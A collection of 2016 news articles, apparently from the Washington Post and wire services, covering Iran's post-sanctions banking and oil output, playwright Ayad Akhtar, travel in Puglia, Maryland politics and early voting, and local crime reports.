He made the remarks in a meeting with a German trade delegation in Tehran April 20, Mehr news agency reported.

The resistance of the European insurance companies in cooperation with Iran is "beyond the expectations," Kamijani said.

He further said that International sanctions against Tehran imposed loses to Iran's European partners as well.

Establishment of banking ties is vital for trade and economic ties between Iran and Germany, he added.

Kamijani further referred to talks with various European insurance companies including Sace from Italy, Oesterreichische Kontrollbank from Austria and French Coface as well as the issue of clearing the debts as the achievements of the CBI after removal of the sanctions last January.

Talks with German Hermes are still underway, he said, expressing hope that the talks will be concluded in the near future.

He further said that supports of governments of Germany, Austria, Italy and France were effective in achieving agreements with the insurance companies.

Kamijani also called on Germany government to support banking transactions between the two countries.

Iran says the EU must force the US to settle banking problems following the implementation of the nuclear deal.

In a meeting with the EU Foreign Policy Chief Federica Mogherini in her recent Tehran visit, Secretary of the Supreme National Security Council of Iran Ali Shamkhani asked the EU to confront with what he called Washington's "obstruction" of nuclear deal implementation.

He argued that the US is seeking to continue its sanctions policy against Iran and is troubling the implementation of the JCPOA (Joint Comprehensive Plan of Action, aka nuclear deal).

Earlier, Valiollah Seif, the head of Iran's central bank, accused the US and the EU of failing to honor the JCPOA by keeping Iran locked out of the international financial system.


Playwright Ayad Akhtar at Arena Stage, which is producing his Pulitzer Prize-winning play Disgraced. Akhtars The Who and the What begins at the Round House Theatre on May 25. (Greg Kendall-Ball)

Ayad Akhtar recently heard from a college student who thinks his Pulitzer Prize-winning drama, Disgraced, is unfair to Muslims. This has happened a lot, as his sudden breakthrough projects have touched the raw nerve connecting Islam and America.

Its a very difficult moment, Akhtar says. I understand that people are confused.

In Disgraced, the countrys most-produced new play this season (its now at Arena Stage), a Manhattan corporate lawyer questions his suppressed Muslim identity as his white wife  an up-and-coming New York painter  embraces Islamic artistic traditions. In his serio-comedy The Who and the What, arriving next month at Bethesdas Round House Theatre, a young Atlanta woman at odds with her Muslim upbringing ignites a ferocious family debate by writing a novel reimagining the prophet Muhammads sexual desires.

Emerging from Akhtar at the same time: The Invisible Hand, a drama about a U.S. investment banker forced to help his Pakistani captors fund themselves through the stock market, and the praised 2012 novel American Dervish, which investigates an upbringing not unlike his own, as a first-generation Pakistani American raised near Milwaukee. The result is a flurry of writing  actually stockpiled over years before Akhtar, now 45, was discovered  that has drawn acclaim for its penetrating depiction of Muslim American identity while aggravating some of its subjects.

For any group under attack, of course, the logical posture is to show no weakness.

I totally get it, the amiable yet tightly focused Akhtar says in a low-key Manhattan restaurant. I respect it. But I cant control my artistic obsessions and passions. And if I control that stuff, then the work has no vitality. Nobodys going to care. And theyre not going to feel connected to it in a personal way if they dont share my background. Thats the goal, is to reach a kind of  universality?  something in everyone.

[Steven Levingstons Q&A with Ayad Akhtar after the Disgraced Pulitzer]

The scripts may have been written several years ago, but recent campaign rhetoric that includes stopping Muslims at the border has only intensified their concerns.

America as a whole has become much less tolerant of Muslim populations, says Eleanor Holdridge, director of Akhtars The Who and the What. This is a wealthy American family hes writing about. As he grapples with identity, it really hits at who we are.

Akhtars bouncy springboard for The Who and the What was The Taming of the Shrew. The substantially Westernized female writer deals with her Pakistani-born fathers pressure to get married before her younger sister does. The shape is comic: The father uses an online dating service to try to broker a match for his daughter. But its biting, as Akhtar examines the role of women in Islam.



From left, Bernard White, Tala Ashe and Nadine Malouf in the 2014 off-Broadway production of The Who and The What at Lincoln Centers Claire Tow Theater. (Erin Baiano/Associated Press)

He sets up the problems in a way that is charming and funny, Holdridge says. You like the people before you realize were going to be in middle of a huge dialectic.

The 90-minute Disgraced focuses on the ambitious lawyer Amir, who seems to have rejected the religion in which he was raised yet is drawn into a controversy when he speaks about a local imam who has been imprisoned. Who is disgraced? The play makes that clear. Yet interpretations have surprised Akhtar, as the show has been seen by audiences across the country and internationally.

Theres this thing of the disgrace of the title as the disgrace of public discourse in our time, Akhtar says. I didnt know thats where we were headed. But its weird that thats where weve ended up.

For Akhtar, this widely applauded arrival as a writer has been a long time coming. His parents are both doctors who emigrated from Pakistan; he was born in New York raised in Wisconsin, a place and time where religious identity was less fraught than now. In high school he fell in love with serious literature by the likes of Dostoevsky and Proust. Jewish authors from Chaim Potok and Saul Bellow to Woody Allen and Philip Roth fascinated him, sometimes for their embattled positions within their faith.

Its a weird, paradoxical situation, he says. A Muslim kid growing up in Milwaukee, obsessed with Jewish writers.

He studied theater at Brown but also began to get an education in finance, thanks to a bargain he made with his father. In exchange for paying his rent, his dad insisted that he read the Wall Street Journal every day.

So I did, Akhtar smiles. Dutiful son.

He began a habit of writing, but his paying jobs had more to do with directing, acting and teaching. For years, he taught with the theater experimentalist Andre Gregory, and he worked with the avant-garde figurehead Jerzy Grotowski in Italy. After film school at Columbia University, Akhtar co-wrote and starred in the 2005 movie The War Within, a thorny tale of a Pakistani student who is roughed up by U.S. officials in Paris and then goes to New York bent on a terrorist mission. But it wasnt until he sold the novel American Dervish that he could devote himself to writing full time.

Now in demand, he is pivoting toward big projects digging at what he thinks is the root of much of the worlds discontents: money. Capital is an original series pilot hes writing for HBO based in Wisconsin but set all over the world as the global economy continues to morph. His new play Junk: The Golden Age of Debt is a Shakespearean-size epic for 17 actors dealing with the Michael Milken junk bond scandals of the 1980s. He has another big play in mind that he might work on during an upcoming year-long residency with Arena.

I dont know whats happening, Akhtar says of the expanding scale of his projects. And theyre increasingly political.

Doug Hughes, who recently helmed the inside-the-Beltway drama City of Conversation at Arena, is directing Junk at San Diegos La Jolla Playhouse for an already buzzed-about July debut. He calls the play a cross between Henry IV, Part 1 and David Mamets Glengarry Glen Ross.

Thats a pretty hotsy-totsy comparison, I realize, Hughes says. But its a big bloody struggle. There are casualties.

Hes digging pretty deep into the joys and sorrows of capitalist society, says La Jolla artistic director Christopher Ashley.  Junk is a really intentional effort to say, Identity is not my only subject. I can paint on a very broad canvas. 



Playwright Ayad Akhtar at Arena Stage, where he will take up a year-long residency next season. (Greg Kendall-Ball)

Akhtar, who frets about Americas anti-intellectual bent (Democracy is meaningless without education, he says) while also making no bones about striving to be an entertainer, sees the economic thriller as a genre worth exploring. When a Wal-Mart moves in, 82 cents of every dollar leaves the community. Thats the real problem, Akhtar says. Thats been the problem for 200 years. But were going to sit around and talk about identity politics? Its a diversion from the real issue.

That sounds like something Emily, the painter, says in Disgraced: Weve all gotten way too wrapped up in the optics. The way we talk about things. Weve forgotten to look at things for what they really are.

Its not like I am trying to be contrarian, Akhtar says. I am just trying to write to what I think is really happening.

Disgraced through May 29 at Arena Stage, 1101 Sixth St. SW. Tickets: $40-$110. Call 202-488-3300 or visit arenastage.org.

The Who and the What May 25-June 19 at Round House Theatre, 4545 East-West Hwy., Bethesda. Tickets: $30-$56. Call 240-644-1100 or visit roundhousetheatre.org.
1 of 17 Full Screen Autoplay Close Skip Ad  Savoring Italys southern coast View Photos Pretty seaside views and idiosyncratic architecture are just two of the reasons the countrys southern region of Puglia is so underrated. Caption Pretty seaside views and idiosyncratic architecture are just two of the reasons the countrys southern region of Puglia is so underrated. The Adriatic Sea near Monopoli, a city in Italys Puglia region. Lorenzo Pesce/For The Washington Post Wait 1 second to continue.

Like many opinionated people who love to travel, I can be dead wrong about a place.

I sure was about Italys southern region of Puglia. A one-day stay as a teen backpacking around Europe left me thinking, Meh. But after several Italian friends whod vacationed there gushed about its charms, I vowed to give it another try.

It helped that this year my wife, son and I  who have visited Venice three years in a row  were eager for new Italian experiences during his spring break. If we could find them without selfie-stick-wielding tourists, even better. Puglia, wed been told, would do the job.

After nearly a week in Puglia (pronounced POOL-ya), Ive more than changed my mind. Im in love with the place.

Determined to give the region a more competent second look, I sought trip-planning advice from experts on southern Italy at Southern Visions Travel. Although Puglias beaches are renowned, March weather would make for a chilly dip, so they suggested an itinerary highlighting the areas famed foods and funky architecture.





Bordered by the Ionian and Adriatic seas, Puglia forms the heel of Italys boot, which is an apt metaphor for how its long been regarded by fellow countrymen and countless invaders. The area is becoming more popular, but its distance from more-celebrated destinations such as Tuscany, Venice and the Amalfi Coast  and reputation as a poor country cousin  has left it overlooked by most tourists.

Or, as Puglia native Antonello Losito, the former pro cyclist who founded Southern Visions, would later tell me: This is not a place for most first-time visitors to Italy. This is for more-sophisticated travelers.

Fair enough, though less than an hour after arriving by plane from Milan in Brindisi, on the Adriatic coast, Im kicking myself for not coming back sooner. Eager to taste Puglias legendary food and wine, weve driven our rental car south from the airport straight to winery Masseria Li Veli.

A cartoonishly cute pair of basset hounds greets us outside a centuries-old farmhouse, followed by stylish and young winery owners Edoardo and Alessia Falvo, who invite us inside for what will be the first of many of the best meals weve eaten in Italy.

Plates heaping with tender fried artichokes and zucchini, followed by impossibly fresh burrata, ricotta and mozzarella, arrive one after the other. So good is the homemade orecchiette pasta in a slightly bitter sauce of rapini that I go for a second helping. Even in multi-course-crazy Italy, the length and variety of this prandial parade stand out. And, as we soon happily discover, its apparently just how meals are done here in Puglia.



Springtime at a farm in Alberobello. (Lorenzo Pesce/For The Washington Post)

Hotter days and cooler nights in Puglia favor local wine-grape varietals such as negroamaro and primitivo. Though back in the States Id often associated these grapes with inky, tooth-staining wines, this same fruit in the hands of folks such as Edoardo and Alessia can, as I discover at first sip, become fresh and crisp roses.

As with most regions in Italy, Puglia is a riot of local grape types, often known only by dialect names. Among my favorites of the wines we taste at lunch is a zingy white made from verdeca grapes. We found these grapes totally by chance in [neighboring] Ostuni, Edoardo says. We saw these vines one day and wondered what they were. My wife, Gail, is especially smitten with Li Velis pinot-noir-ish red made with an ancient local grape called susumaniello, dialect for donkey. A fitting name, Edoardo says, because its slow and stubborn to grow.

Even the building housing the winery is unique to the area. A masseria, Alessia explains, is a kind of fortified farmhouse. Part barn, part castle, it was for centuries a main form of protection against invaders. Today, she says, hundreds of these buildings, abandoned and crumbling, are scattered throughout the region. Its a structure well come to know well.

Sated and jet-lagged, we say goodbye to Edoardo, Alessia and our new basset buddies and head farther south to our hotel, La Fiermontina, in downtown Lecce. As with Li Veli, this chic but cozy lodging was once a masseria. And, as with so many buildings here, it is made from the same lovely, cream-colored pietra leccese, or Lecce stone. After a light supper at the hotel, were soon asleep.

Next morning, were met by Puglia-born guide Paolo, who regales us with local lore on a short drive south to the little town of Sternatia. Settled centuries ago by Greeks, it is still home to many citizens who speak in a Greek dialect. Greek words adorn street and shop-front signs. As well see in the coming days, this is but one of the many cultural mashups that make the region so curiously cosmopolitan.

Midday sun signals lunchtime. Down a narrow street Paolo leads us, stopping to knock discreetly at a nondescript door  and we are welcomed into the courtyard of a privately owned palazzo. We follow our noses through fresco-decorated rooms to the kitchen, where several women are busy chatting and cooking on a wood-burning stove. On a wooden table, the eldest deftly uses the edge of a knife to press bits of dough into fresh orecchiette.

Paolo reaches toward a large bowl heaped with little deep-fried balls of dough called pittule, snatches one and pops it into his mouth. Its tradition that you have to steal these from the cook, he says, smiling. A wink from a cook signals approval, and were soon all sneaking bites of these light-as-air appetizers.

Its a meal of other firsts for us, including crispy deep-fried and dried fava beans, ringlet-shaped sagne ncannulate pasta with tiny meatballs, and Ewans new favorite, zeppole, delicate cream-filled pastries.

As we lounge on the outdoor patio afterward, we marvel at how quiet it is. Siesta time in Puglia, Paolo explains, is sacrosanct. Making too much noise between 1 and 4 p.m. can lead to a visit by the cops to tell you to pipe down. Im serious, he says. Its the law.

He takes us on a short walk to an ancient urban olive oil factory, or frantoio. Like many, its located underground. Not only did this make it easier to crank the massive stone wheels and giant wooden screws used to crush and press olives into oil, but it also helped keep the place hidden. Precious both as food and as fuel for lamps, olive oil was liquid gold. Children, who could more easily sneak in and out of such a place, often toiled in these cavelike factories. Kids just around your age, Paolo teases Ewan.

Back in Lecce that evening, we join the pre-dinner stroll, a daily ritual in even the puniest Italian villages. The whole convivial city seems to have turned out for this passeggiata. And we appear to be the only tourists. Not a selfie stick in site.

Pugliesi tend to eat supper later than most of their compatriots to the north, so we have plenty of time to explore this lovely, walkable city. Ambling through streets and piazzas, we notice how old baroque churches and modern office buildings alike share the same tan color of Lecce stone.



Diners eat at Lido Bianco, a restaurant in Monopoli overlooking the Adriatic Sea. (Lorenzo Pesce/For The Washington Post)

During the next mornings hour-long drive north, like earlier drives, we passed fields of bright-yellow flowers and olive trees. Hankering for a more direct experience with the areas most prized agricultural product, we visit olive oil producer Antica Masseria Brancati. An underground frantoio has been abandoned for more modern methods. But as we walk through the grove with seventh-generation owner Corrado Rodio and a friendly black cat, we learn that many of these trees have been bearing fruit since before Jesus was born. One comically gnarled tree, dubbed Il Grande Vecchio (the Great Old One), was planted by Romans nearly 3,000 years ago.

Over a tasting of his oils, Corrado talks about how different types of fruit and pressings yield wildly different flavors. A teaspoon of Extravergine di Oliva Coratina is a delicious bomb of fresh, bitter herbs. A can of this one will definitely be coming home with us.

A short drive away is the city of Ostuni. With its whitewashed buildings perched atop a hill, the Greek-built city looks like a giant chefs hat. From a cozy outdoor table at restaurant Taverna della Gelosia, we eat lunch and gaze beyond the White City to the flat plains and dark-blue sea beyond. Among the dozens of dishes we eat (this is Puglia, after all), Im especially hooked on the baccala in black tempura, a salt cod dish that looks like charred wood but tastes like briny heaven.

That afternoon, we head farther north to the coastal city of Monopoli. Dropping our bags into our room at seaside hotel Don Ferrante, we speed-walk to the sea wall. Waves crash into the rocks below, sending up plumes of cold, salty spray. Hanging out by the outdoor pool after dinner and a couple of Negroni cocktails, Gail and I agree that although we could see what a frisky scene this place would be in the summer, we prefer our more laid-back offseason visit.

The next morning brings a family food epiphany. Weve come half an hours drive south, to Itria Bonta, a small farm that makes and sells cheeses and sausages. Proprietor Giorgio shows us where and how the company makes its cheeses, first introducing us to a few of his 65 milk cows.

In a nearby room, master cheesemaker Giacomo, clad in a white lab coat and blue rubber boots, wields what looks like a wooden cricket bat. Into a stainless-steel tub full of steaming hot water he plunges it, twirling and stretching big blobs of gooey white cheese. Setting the paddle aside, he reaches into the cauldron-like pot and grabs a baseball-size wad of cheese. With the other hand, he quickly folds in a handful of wet stracciatella cheese shreds. Pinching it closed, he hands the warm bulb of burrata to Ewan. At first bite, Ewan closes his eyes. Mmmmmm, he says. After our own tastes, Gail and I ecstatically concur.

The rest of the day brings us other fresh local experiences, including visits to leather and ceramics workshops, where we help fashion a leather key ring and paint traditional designs on plates.



A man walks in front of a tourist shop in Alberobello, in Italys Puglia region. The city is known for its trulli, or little white houses with conical roofs. The roofs are built by stacking rings of stones. (Lorenzo Pesce/For The Washington Post)

By afternoon, we can tell we are getting close to Alberobello when we begin seeing the occasional trullo, little conical-roofed houses for which the city is famous. When we arrive, were met by Alberobello-born guide Mimmo. Warm and intense, hes an ideal ambassador.

Much like an igloo, Mimmo explains, the roof of a trullo is built by stacking rings of stones. A hole is left at the top for venting smoke from hearths. Cisterns below the floor collect rainwater. The curious designs painted in white on some trullo roofs arent primitive graffiti, as many visitors think, he says, but mixtures of Christian and pagan symbols meant to protect homeowners. Once a city of several thousand trulli, Alberobello today has about a third as many.

As a mist settles over the city, we climb to the top of a nearby hill. From here, the village seems even more mystical. I almost want to look for the movie special-effects crew responsible. This being our last night, we hurry back to Monopoli to gawk again at the sea and stars.

After we get home, Ewan says he has one regret about having visited Puglia. Burrata here in the States will never taste as good, he says. Agreed.

Abercrombie is a writer in Tampa.

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MARYLAND

Man is arrested in robbery near casino

Police arrested a Glen Burnie man in connection with a reported robbery in the parking garage of the Maryland Live Casino in Hanover, Md.

The robbery occurred about 4 a.m. Thursday on the third floor of the garage when a man demanded a womans purse at knifepoint, according to police. The woman was not injured, and the man took the purse and fled in a dark vehicle.

Kevin Michael Brown Jr., 32, was arrested and is expected to be charged with assault-related violations and robbery, police said.

 Dana Hedgpeth

Murder charge filed in Montgomery death

Mouctar Sylla, 27, of Castle Boulevard in the Briggs Chaney area of Montgomery County, has been charged in the March 11 death of Sheldon Williams, 20, of the District.

The clues in the case, police said, include $11,000 in cash wrapped in heat-sealed plastic and hidden in a toilet tank, and a gunman known as Mo.

Sylla was booked into jail Thursday on charges of second-degree murder, possession of marijuana with intent to sell and firearms violations.

Williams was found shot in the back of the head in a grassy area along Castle Boulevard.

Williams had gone to Syllas apartment to buy marijuana, according to a police spokesman and a police affidavit in the case.

There was an argument, and Williams may have left with no drugs, according to court records.

 Dan Morse

Man is killed in collision on Beltway

A 35-year-old Temple Hills man was fatally injured early Friday morning in a crash along the outer loop of the Beltway, Maryland State Police said.

Just before the crash, the man  identified as Jermaine C. McCallister  pulled his 2007 Cadillac CTS onto the highways shoulder at Temple Hills Road in Prince Georges County, authorities said.

Then, for unknown reasons, McCallister veered his vehicle across the highway in front of a tractor-trailer, police said. The car and the tractor-trailer collided, and McCallister was pronounced dead at the scene, authorities said.

 Dana Hedgpeth

and Victoria St. Martin

THE District

Youth arrested in 3 holdups in NW

A juvenile male has been arrested in three armed street robberies in upscale sections of Northwest Washington, according to police.

In an April 15 gunpoint robbery about 3:30 p.m. on Volta Place in Georgetown, neighbors said two students from the Georgetown Visitation Prep School were the victims.

The other two holdups, in which a knife was shown, were reported April 19 about 6 p.m. on Chesapeake Street and on Brandywine Street, near Wisconsin Avenue. Cellphones were among items taken.

Accounts from police and neighbors indicated that three robbers, all apparently under 18, were involved in each of the three incidents.

 Martin Weil
Maryland state lawmakers running for Congress and local office are exempt from the states ban on fundraising during the annual legislative session  enabling them to take money from lobbyists and others with business before them.

State lawmakers competing in those races took at least $33,000 from lobbyists and executives of groups trying to sway government officials during the legislative session, according to an analysis of campaign finance and lobbying records.

The donations are legal and just a sliver of a multimillion-dollar haul, but they raise concerns from good-government advocates who say they violate the spirit of the fundraising ban, which aims to insulate legislators from undue influence.

[Maryland lawmakers run afoul of online fundraising ban]

This is a serious loophole in the law, said Jennifer Bevan-Dangel, executive director of Common Cause Maryland. The ban exists for a reason. The purpose is to make sure, when our legislators are down there for 90 days, that they are hearing the constituents voices above anyone else.

State Sen. Catherine E. Pugh (D), the front-runner in the mayoral race in Baltimore, has accepted at least $18,000 from lobbyists and groups with interests before the legislature during the 90-day session. (Marvin Joseph/The Washington Post)

Senate Majority Leader Catherine E. Pugh (D-Baltimore) clocked in as the biggest recipient of lobbyist dollars during the session, with at least $14,600 poured into her bid to be Baltimores mayor. She also took at least $3,800 from representatives of organizations affected by legislation.

A spokesman for Pugh says she does not personally solicit these donations, although lobbyists are invited to fundraising events.

Many lobbyists make contributions because they want to see an effective mayor serve in the city of Baltimore, said spokesman Anthony McCarthy.

In March, rival Baltimore mayoral candidate Elizabeth Embry attacked Pugh for these donations. Embrys campaign released an analysis noting that a number of the lobbyists who donated to Pugh testified before the finance committee on which Pugh serves, including super-lobbyist Gerard Evans, who gave her $2,000 days after testifying on a Baltimore Orioles ticket policy.

Evans says its ridiculous to think there is anything unseemly about lobbyists donating during the legislative session, or that it amounts to a quid pro quo.

Ive watched some of these people literally grow up, and Ive known them for a long time, and they become your friends, said Evans, one of the top-paid state lobbyists, who also donated to two lawmakers running for Congress. Fortunately, Annapolis is not a money-driven place.

At least 29 states have some sort of prohibition on campaign fundraising during the legislative session, but state laws generally do not apply to federal races.

Assessing conflicts of interest with campaign contributions is something of a chicken-or-the-egg question. Some donors say theyre financially backing politicians whose views align with their interests, while critics contend that donations provide access to lawmakers.

Take the example of state Sen. Jamie B. Raskin (D-Montgomery), a leading candidate in the 8th Congressional District race who prides himself on being a good-government reformer not beholden to corporate lobbyists.

He accepted $2,450 from the Humane Society of the United States affiliated PAC and executives during a session when he sponsored two bills favored by the group, which passed the Senate unanimously. He also helped a third bill pass the Judicial Proceedings Committee.

[Spending soars in 8th Congressional district race]

Sara Amundson, executive director of Humane Society Legislative Fund, said the group supported Raskin because hes a longtime supporter of animal welfare.

In addition to accepting donations from the Humane Societys PAC, Raskin took $4,100 from some of Annapoliss most well-connected lobbyists, as well as advocates for children and victims of domestic violence.

 Lobbyist is not a dirty word to me. There are public-interest lobbyists all over the place, said Raskin, who said he did not ask lobbyists to donate. But if the money came from large corporations that were getting tax breaks in this session, I could see that being an issue.

David Trone, a wealthy wine retailer who has put more than $12 million of his own money into his bid for the 8th Congressional District Democratic nomination, has released an ad criticizing Raskin for taking lobbying donations after telling a money-in-politics panel that he doesnt take money from people lobbying me.

Del. Kumar P. Barve (D-Montgomery), also running in the 8th District race, accepted $3,300 from lobbyists and advocates. The chairman of the House Environment and Transportation Committee said that he never discusses his campaign during working hours at the General Assembly and that one-third of his donations came from a longtime friend who did not lobby him in 2016.

In the Democratic primary for the open 4th Congressional District seat, Del. Joseline A. Pena-Melnyk (D-Prince Georges) accepted at least $4,900 from Annapolis lobbyists representing a variety of interests. Her campaign manager said Pena-Melnyk is fiercely independent and did not hold fundraisers in Annapolis even though she legally could.

Her former rival Del. Dereck E. Davis (D-Prince Georges), who announced in early February he was dropping his bid, took several contributions from lobbying groups during the session. Weeks after ending his bid, he accepted $500 from a plastic-bag manufacturer that lobbied against a ban on its products in grocery stores. The bill received an unfavorable report from the committee he chairs.

[Anthony Brown makes $400k investment in congressional race]

Davis said he wasnt familiar with the manufacturer or donation and noted his committee has opposed plastic-bag bans and taxes for years. He said the fundraising demands of running for Congress necessitate reaching out to many people  including lobbyists.

What you dont do is cross any lines, you dont demand anything, you dont unduly pressure people, Davis said.

House Minority whip Kathy Szeliga (R-Baltimore County) held a fundraiser for her U.S. Senate bid in Annapolis attended by lobbyists, but little of the money raised that night came from them.

Dels. Ana Sol Gutierrez (D-Montgomery) and Patrick L. McDonough (R-Baltimore County) have raised little money for their congressional bids and did not report taking money from registered state lobbyists.
Saundra and Russell Payne, of Landover, Md., head home after casting their votes at the Wayne K. Curry Sports and Learning Complex in Landover. (Bonnie Jo Mount/Washington Post)

A record number of Maryland voters have cast early ballots ahead of Tuesdays primary, which features an unusually high-profile mix of a protracted presidential contest, an open U.S. Senate seat and a lively Baltimore mayoral race.

Nearly 260,000 people, or 7.5 percent of eligible voters, cast ballots in the eight days of early voting that ended Thursday.

Thats three times the early-voter turnout in the 2012 presidential primary, when President Obama was uncontested in the Democratic primary and Republican Mitt Romney was on the verge of clinching the nomination. Since then, Maryland has added two more early-voting days and additional sites.

Tuesdays primary also falls during Passover, possibly boosting early turnout among Jewish voters. In all, nearly 9 percent of Marylands 2 million eligible Democrats cast early ballots, while 6.7 percent of eligible Republicans did.

Nikki Charlson, Marylands deputy elections administrator, said she expects the share of voters casting ballots early to continue growing.

In addition to contested Republican and Democratic presidential nomination battles, Democratic Reps. Donna F. Edwards and Chris Van Hollen are among a bevy of candidates competing to succeed Barbara A. Mikulski (D) in the Senate.

[Republican Chrys Kefalas has $114,000 for last stretch of Md. Senate race]

Recent polls have indicated a close race, leaving both campaigns scrambling to get enough supporters into the voting booths.

During the week of early voting alone, Van Hollens campaign said volunteers and staff members knocked on 36,379 doors and made 135,784 calls  while Edwards tallied 5,321 doors and 192,753 phones.

Kyle Unnewehr, a 34-year-old Edmonston resident, said he lost sleep trying to choose between the two members of Congress.

It was a tough choice, he said after casting an early ballot at the College Park Community Center. But I chose Van Hollen because of his record and the people who support him.

Voters heading to the polls for early voting Thursday at the Southern Regional Technology and Recreation Complex in the Fort Washington-Oxon Hill section of Prince Georges County were coming out in favor of Edwards. The area is where the congresswoman bought a home, took on National Harbor waterfront developers and first became involved in federal politics.

Ive always supported her. When she first ran, I was a volunteer, Gloria S. Williams said after walking through a gantlet of people handing out campaign literature for the various candidates. She represents women, and she represents all the issues we are concerned about in this country.

For the 64-year-old Williams, that includes equal pay and disrupting the good old boy network in the U.S. Senate.

[Big fundraising hauls in Maryland Senate race]

Democratic early-voter turnout eclipsed 30,000 in the open 4th and 8th Congressional District races to succeed Edwards and Van Hollen. A similar number of voters cast ballots in Baltimore, where Mayor Stephanie Rawlings-Blakes decision to not seek reelection prompted a free-for-all to replace her.

The 2016 early-voting period was also the first time Maryland residents could register to vote on the same day as casting ballots. Nearly 400 Republicans and 1,500 Democrats registered under this provision, but people were not allowed to change party affiliations to vote for favored candidates.

Same-day voter registration is not available during Tuesdays primary.

The early-voting period was also the debut of a paper-based system in which voters would fill out printed ballots with a pen and feed them through scanners instead of using electronic machines without a paper trail.

[Md. ditches early-voting machines that dont display all candidates names]

State elections officials scrapped plans to use touch-screen machines for early voting over concerns that they made it difficult to navigate large lists of candidates. Some feared long lines as a result of voter confusion over how to use the new machines, but elections officials say the lines did not materialize.

We had very, very few issues, said Charlson, the elections administrator. Voters seemed to accept them with some instruction.

Rachel Weiner contributed to this report.
Prince Georges County has named a visual arts teacher with a 10-year career in the school system as its 2016 teacher of the year.

Amanda Espina, of Benjamin D. Foulois Creative and Performing Arts Academy, was tapped for the honor at a celebration in Greenbelt Thursday night.

School officials said she was nominated for the award by colleagues who praised her professional skills, devotion, love of children and support of other educators.

Espina started her work in Prince Georges in 2006 as an interrelated arts teacher at Overlook Elementary School and moved in 2009 to Benjamin Foulois, a k-8 school in Morningside that draws students countywide for its arts specialty program.

Ms. Espina exemplifies the qualities I believe to be necessary in a teacher, said principal Matthew McCrea in a statement. She works constantly to invest her students in the goals of the visual arts program, a program that she has built from the ground up as a founding teacher at Benjamin Foulois. Her students results demonstrate the excellence she has guided them to.

School officials say her students work has been featured at local and state levels, and last year the Prince Georges school board named one of her students as best student artist. Lately she is working with a nonprofit group to provide a gallery experience for students.

A leader at her school, Espina co-chairs committees including one on character education. She works with the University of Maryland, College Park, to mentor new teachers and is coordinator of the school districts visual arts department art show.

With a renewed focus on integrating art throughout our curriculum, I am thrilled that one of our outstanding visual arts teachers has been selected as this years teacher of the year, said Kevin M. Maxwell, the school systems chief executive officer, in a statement. Having such talented teachers in our classrooms is key to our success in raising academic achievement.

Espina earned a bachelors degree in art education and studio art at the University of Maryland, College Park, where she also earned a masters degree in arts integration.

She will go on to compete statewide for Maryland Teacher of the Year as the nominee from Prince Georges County. The statewide winner is selected in the fall.

In Prince Georges, school officials say that fourth-grade teacher Mary Rowley, of Ridgecrest Elementary, was runner-up for the award. Finalists were Brandie Cole from Judith P. Hoyer Montessori and Cullen Waller, from Benjamin Foulois.
(Left to Right) Martin Walker, 25, Joseph Thompson, 26, and Gregory Porter Jr., 20, were arrested in connection with the shooting, police said. (Arlington County Police Department)

Authorities charged three men in connection with a shooting that broke out at a used-car lot in Arlington County over a sale, a police department spokeswoman said.

The men  identified as Martin Walker, 25, of Largo; Joseph Thompson, 26, of Manassas; and Gregory Porter Jr., 20, of Triangle  were all taken into custody, said Ashley Savage, a spokeswoman with Arlington County police.

Savage said the trio was involved in a Wednesday night shooting in which the owner of a car lot was shot at multiple times.

Authorities said that around 10:30 p.m. Wednesday, the owner of the car lot got into an argument with several people. The dispute was over the sale of a vehicle at the lot, which is in the 3600 block of Columbia Pike, according to a department press release.

At some point, someone pulled out a weapon and fired multiple shots at the lots owner as he sat in a vehicle.

When officers arrived at the lot, they found a man with a gunshot wound to his leg, Savage said. The injured man was taken to an area hospital, but investigators later discovered he was an aggressor in the dispute, the release said.

Authorities charged the injured man, who was later identified as Porter, with shooting by mob. He is being held on no bond, police said.

And just after the shooting, authorities said officers chased a vehicle north on I-395. The pursuit ended in the District, but a SWAT Team later arrested Walker and Thompson.

Walker and Thompson are both charged with felon in possession of a firearm. Additionally, Thompson is charged with shooting by mob and Walker is charged with attempted malicious shooting, display of a firearm during a shooting and shooting at an occupied vehicle.

No further information about the shooting was released.

Police ask that anyone with information about this incident and/or who may have observed anything suspicious in the area contact Detective S. Roeseler of the Arlington County Police Departments Homicide/Robbery Unit at (703) 228-4182 or Sroese@arlingtonva.us. Information may also be provided anonymously through the Arlington County Crime Solvers hotline at 1-866-411-TIPS (8477).
Baku, Azerbaijan, April 21

By Dalga Khatinoglu, Khalid Kazimov - Trend:

Iran's oil output from major old oil fields in southern parts of the country would increase by 800,000 barrels per day in 2017, Wood Mackenzie expert predicted.

"The country's oil production is mostly increasing from big old southern fields which started producing more than half a century ago such as Ahvaz, Marun and Gachsaran. Compared with the period under sanctions, production from the ageing oil fields could be boosted by more than 800,000 b/d by H2 2017," Homayoun Falakshahi, Middle East Upstream Analyst for Wood Mackenzie told Trend.



"Given the majority of the stored oil is condensate from South Pars and not crude oil, Iran needs to continue boosting production to meet its export targets. Realistically, the country could add 500,000 b/d of production to global markets in 2016, meaning its crude oil exports could average around 1.7 mb/d," he added.



"An uptick in demand growth is likely to be seen in transport, but others sectors such as oil products for power and residential are fundamentally on a decreasing trend, being replaced by gas," Homayoun Falakshahi concluded.

Iran's oil output plunged by more than one million barrels to 2.8 mb/d during a 3-year sanctions, imposed by western countries in 2012. Iran had to shut down some fields, but resumed the output to around 3.3 mb/d in March, three months after lifting sanctions.

Tehran says it would increase this figure to the pre-sanctions level, but most of

international organization, including the Energy Information Administration believe that the country can add only around 0.5 mb/d to its output in 2016 due to the delays in developing new fields and technical problems for resuming output from old fields

Meanwhile, about 80 percent of Iran's active fields are in their second half-life and their production decrease by 8-13 percent annually.
Montgomery County prosecutors seeking to learn the fate of two children missing for 19 months will not be permitted to send a psychiatrist of their choosing into a locked psychiatric hospital to evaluate the childrens mother, according to a court ruling this week.

The latest development in the case of Catherine Hoggle, 29, who is suspected of killing Jacob, 2, and Sarah, 3, underscores the escalating battle between law enforcement and Hoggles attorneys.

And it is playing out against a heartbreaking backdrop. Despite massive searches of woods, parks and roadsides, there has been no sign of Jacob and Sarah since September 2014. Their mother, with a history of paranoid schizophrenia, is the last person known to have been with them.

Police have pushed hard in the case against Hoggle, maintaining that finding the children is paramount. When police arrested Hoggle, they interrogated her for more than 12 hours and brought in her boyfriend to help them press her as they all repeatedly posed different forms of the same question: Where are the children? Weeks later, after Hoggle was moved from the county jail to the states maximum-security Clifton T. Perkins Hospital Center in Jessup, Md., the detectives visited her and spoke with her for more than an hour without her attorneys present.

Hoggles two attorneys have tried to shield her from the advances.

(Family photo/Sarah Hoggle was 3 when she disappeared along with her 2-year-old brother, Jacob.)

